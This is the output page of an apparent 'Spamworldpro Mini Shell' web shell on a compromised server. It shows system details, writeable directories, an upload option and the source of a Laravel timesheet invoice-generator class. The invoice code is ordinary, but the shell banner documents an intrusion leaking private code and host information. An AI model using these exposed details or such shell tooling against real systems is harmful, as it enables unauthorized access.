Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/Classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/Classes/InvoiceGenerator.php
<?php


namespace Corals\Modules\Timesheet\Classes;

use Carbon\Carbon;
use Corals\Modules\Timesheet\Models\Entry;
use Corals\Modules\Timesheet\Models\Expense;
use Corals\Modules\Timesheet\Models\Invoice;
use Corals\Modules\Timesheet\Models\Project;
use Corals\Modules\Timesheet\Services\EntryService;
use Corals\Modules\Timesheet\Services\InvoiceService;
use Corals\Settings\Facades\Settings;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Arr;
use Illuminate\Support\Facades\DB;

class InvoiceGenerator
{
    /**
     * @var array
     */
    protected array $relatedEntries = [];
    protected array $invoiceItems = [];

    protected $object;

    /**
     * @var BagParameters
     */
    protected BagParameters $bagParameters;
    protected InvoiceService $invoiceService;

    /**
     * InvoiceGenerator constructor.
     * @param BagParameters $bagParameters
     */
    public function __construct(BagParameters $bagParameters)
    {
        $this->bagParameters = $bagParameters;
        $this->invoiceService = new InvoiceService();
    }

    /**
     * @return array|\Illuminate\Support\HigherOrderTapProxy|mixed
     * @throws \Exception
     */
    public function generate()
    {
        try {
            DB::beginTransaction();
            $calculationsResult = $this->calculateTotalAmount();

            if ($this->bagParameters->get('only_totals')) {
                return ['amount' => $calculationsResult, 'hours' => $this->getInvoiceEntriesTimeTotal()];
            }

            $invoice = tap($this->createInvoice($calculationsResult), function (Invoice $invoice = null) {
                $this->updateCreatedEntries($invoice);
            });
            DB::commit();
            return $invoice;
        } catch (\Exception $exception) {
            DB::rollBack();
            throw $exception;
        }
    }


    protected function getInvoiceEntriesTimeTotal()
    {
        return round(collect($this->relatedEntries)->sum('hours'), 2);
    }

    /**
     * @param Invoice|null $invoice
     */
    public function updateCreatedEntries(Invoice $invoice = null)
    {
        if (!$invoice || !$this->relatedEntries) {
            return;
        }

        foreach ($this->relatedEntries as $entry) {
            Entry::query()
                ->where('id', $entry['id'])
                ->update(array_merge(
                        Arr::only($entry, ['amount', 'hourly_rate']),
                        [
                            'invoice_id' => $invoice->id,
                        ])
                );
        }
    }

    /**
     * @return int|mixed
     */
    protected function calculateTotalAmount()
    {
        if ($this->bagParameters->hasProject()) {
            $this->object = $this->bagParameters->getProject();

            return $this->calculateTotalAmountForProject();
        }

        if ($this->bagParameters->hasClient()) {
            $this->object = $this->bagParameters->getClient();

            return $this->calculateTotalAmountForClient();
        }
    }

    /**
     * @param $totalAmount
     * @return \Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Eloquent\Model|void
     */
    public function createInvoice($subtotalAmount)
    {
        if ($this->bagParameters->has('date_range')) {
            $invoiceDate = $this->bagParameters->get('date_range')[1];
        } else {
            $entry = collect($this->relatedEntries)->sortByDesc('spent_at')->first();
            $spent_at = $entry['spent_at'];
            $client = $this->bagParameters->getClient();
            $cycleForObject = (new EntryService())->setClient($client)->getBillingCycleEdges($spent_at, $this->object);

            $invoiceDate = $cycleForObject['end'];
        }

        $invoiceDate = Carbon::parse($invoiceDate)->subDay();

        $invoiceStatus = 'pending';

        if ($this->bagParameters->has('status')) {
            $invoiceStatus = $this->bagParameters->get('status');
        }

        $project = $this->bagParameters->getProject();

        if (!$project) {
            if ($this->bagParameters->getClient()->projects()->count() === 1) {
                $project = $this->bagParameters->getClient()->projects()->first();
            }
        }

        //FIXME handle taxes for invoices in different way
        if ($project && $project->taxable) {
            $taxTotal = $subtotalAmount * Settings::get('sales_tax_rate');
            $totalAmount = $subtotalAmount + $taxTotal;
            $this->invoiceItems[] = [
                'title' => $project->name . ' taxes',
                'type' => 'tax',
                'rate' => Settings::get('sales_tax_rate'),
                'quantity' => $subtotalAmount,
                'amount' => $taxTotal,
                'notes' => null,
            ];
        } else {
            $totalAmount = $subtotalAmount;
            //TODO:: handle multiple projects (client level)
        }

        /**
         * @var Invoice $invoice
         */
        $invoice = Invoice::query()->create([
            'code' => Invoice::getCode('INV'),
            'project_id' => data_get($project, 'id'),
            'client_id' => data_get($this->bagParameters->getClient(), 'id'),
            'subtotal' => $subtotalAmount,
            'tax_total' => $taxTotal ?? 0,
            'total' => $totalAmount,
            'invoice_date' => $invoiceDate,
            'due_date' => $invoiceDate,
            'status' => $invoiceStatus,
            'properties' => [
                'total_hours' => $this->getInvoiceEntriesTimeTotal(),
            ]
        ]);

        $expenseObject = $project ?: $this->bagParameters->getClient();

        $expenseObject->expenses()
            ->where('billable', 1)
            ->whereDate('expense_date', '<=', $invoiceDate)
            ->whereNull('invoice_id')
            ->eachById(function (Expense $expense) use ($invoice) {
                $this->invoiceItems[] = [
                    'title' => $expense->category->name,
                    'type' => 'expense',
                    'rate' => $expense->amount,
                    'quantity' => 1,
                    'amount' => $expense->amount,
                    'notes' => sprintf("Date: %s,  %s", format_date($expense->expense_date), $expense->notes),
                ];
                $expense->invoice_id = $invoice->id;
                $expense->status = 'paid';
                $expense->save();
            });

        $invoice->items()->createMany($this->invoiceItems);

        $totals = $this->invoiceService->calculateInvoiceTotals($invoice->items);

        foreach ($totals as $key => $value) {
            if ($key == 'total_hours') {
                $invoice->setProperty($key, $value, false);
                continue;
            }

            $invoice->{$key} = $value;
        }

        $invoice->save();

        return $invoice->fresh();
    }

    /**
     * @return int|mixed
     */
    public function calculateTotalAmountForClient()
    {
        $client = $this->bagParameters->getClient();

        $totalAmount = 0;

        $client->billableProjects()->each(function ($project) use (&$totalAmount) {
            $totalAmount += $this->calculateTotalAmountForProject($project);
        });

        return $totalAmount;
    }

    /**
     * @param Project|null $project
     * @return mixed
     */
    public function calculateTotalAmountForProject(Project $project = null)
    {
        if (is_null($project)) {
            $project = $this->bagParameters->getProject();
        }

        $totalAmount = 0;
        $quantity = 0;
        $userSumDetails = [];

        $project->entries()
            ->when($this->bagParameters->has('date_range'), function (Builder $builder) {
                $builder->where(function ($mainQuery) {
                    $mainQuery->where(function ($dateQuery) {
                        $dateQuery->where('spent_at', '>=', $this->bagParameters->get('date_range')[0])
                            ->where('spent_at', '<', $this->bagParameters->get('date_range')[1]);
                    });
                    if ($this->bagParameters->get('include_previous_entries')) {
                        $mainQuery->orWhere(function ($prevEntriesQuery) {
                            $prevEntriesQuery->where('spent_at', '<', $this->bagParameters->get('date_range')[0])
                                ->whereNull('invoice_id');
                        });
                    }
                });
            })
            ->when(!$this->bagParameters->has('date_range'), function (Builder $builder) {
                $builder->where(function ($query) {
                    $client = $this->bagParameters->getClient();
                    $cycleForObject = (new EntryService())->setClient($client)->getBillingCycleEdges(now(), $this->object);
                    $query->where('spent_at', '<', $cycleForObject['start']);
                });
            })
            ->whereNull('invoice_id')
            ->where('has_reviewed', '=', 1)
            ->whereHas('activity', function ($activityQuery) {
                $activityQuery->where('billable', 1);
            })->with('activity')
            ->get()
            ->each(function (Entry $entry) use ($project, &$totalAmount, &$quantity, &$userSumDetails) {
                $hours = \Corals\Modules\Timesheet\Facades\Timesheet::getEntryTotalHours($entry);

                $this->relatedEntries[] = [
                    'id' => $entry->id,
                    'amount' => $entry->amount,
                    'hourly_rate' => $entry->hourlyRate,
                    'hours' => $hours,
                    'spent_at' => $entry->spent_at,
                ];

                if (empty($userSumDetails[$entry->user_id])) {
                    $userSumDetails[$entry->user_id] = [
                        'name' => $entry->user->name,
                        'hours' => 0,
                        'amount' => 0,
                    ];
                }

                $userSumDetails[$entry->user_id]['hours'] += round($hours, 2);
                $userSumDetails[$entry->user_id]['amount'] += $entry->amount;

                $totalAmount += $entry->amount;
                if ($hours) {
                    $quantity += $hours;
                }
            });

        $quantity = round($quantity, 2);
        $rate = $quantity ? round($totalAmount / $quantity, 2) : 0;
        $amount = $rate * $quantity;

        if (!$amount) {
            return 0;
        }

        $invoiceItemDescription = sprintf("Hours Total: %s Avg Rate: %s\n", $quantity, $rate);

        foreach ($userSumDetails as $user) {
            $invoiceItemDescription .= sprintf("<small>%s [Hours: %s Amount: %s]</small>\n", $user['name'], $user['hours'], $user['amount']);
        }

        $this->invoiceItems[] = [
            'title' => $project->name,
            'type' => 'hours',
            'rate' => $rate,
            'quantity' => $quantity,
            'amount' => $amount,
            'notes' => null,
            'properties' => [
                'invoice_description' => $invoiceItemDescription
            ]
        ];

        return round($totalAmount, 2);
    }
}

Spamworldpro Mini